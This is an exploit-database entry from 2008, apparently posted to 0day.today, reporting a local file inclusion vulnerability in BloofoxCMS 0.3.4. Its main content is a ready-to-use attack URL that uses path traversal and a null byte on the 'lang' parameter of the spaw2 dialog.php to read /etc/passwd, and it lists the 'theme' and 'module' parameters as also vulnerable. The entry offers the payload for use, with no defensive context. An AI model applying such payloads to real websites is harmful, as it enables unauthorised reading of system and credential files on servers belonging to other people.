BloofoxCMS 0.3.4 (lang) Local File Inclusion Vulnerability

2008-12-24T00:00:00
ID 1337DAY-ID-4546
Type zdt
Reporter fuzion
Modified 2008-12-24T00:00:00

Description

Exploit for unknown platform in category web applications

                                        
                                            ==========================================================
BloofoxCMS 0.3.4 (lang) Local File Inclusion Vulnerability
==========================================================


BloofoxCMS 0.3.4
http://www.bloofox.com/

magic_quotes_gpc = Off
register_globals = On

- File Inclusion -
http://site/bloofoxCMS_0.3.4/plugins/spaw2/dialogs/dialog.php?lang=../../../../../../../../../../../../etc/passwd%00

Also vulnerable:
dialog.php?theme=<lfi>
dialog.php?dialog=foo&module=<lfi>

- Seasons Greetings -
- http://nukeit.org -



#  0day.today [2018-01-09]  #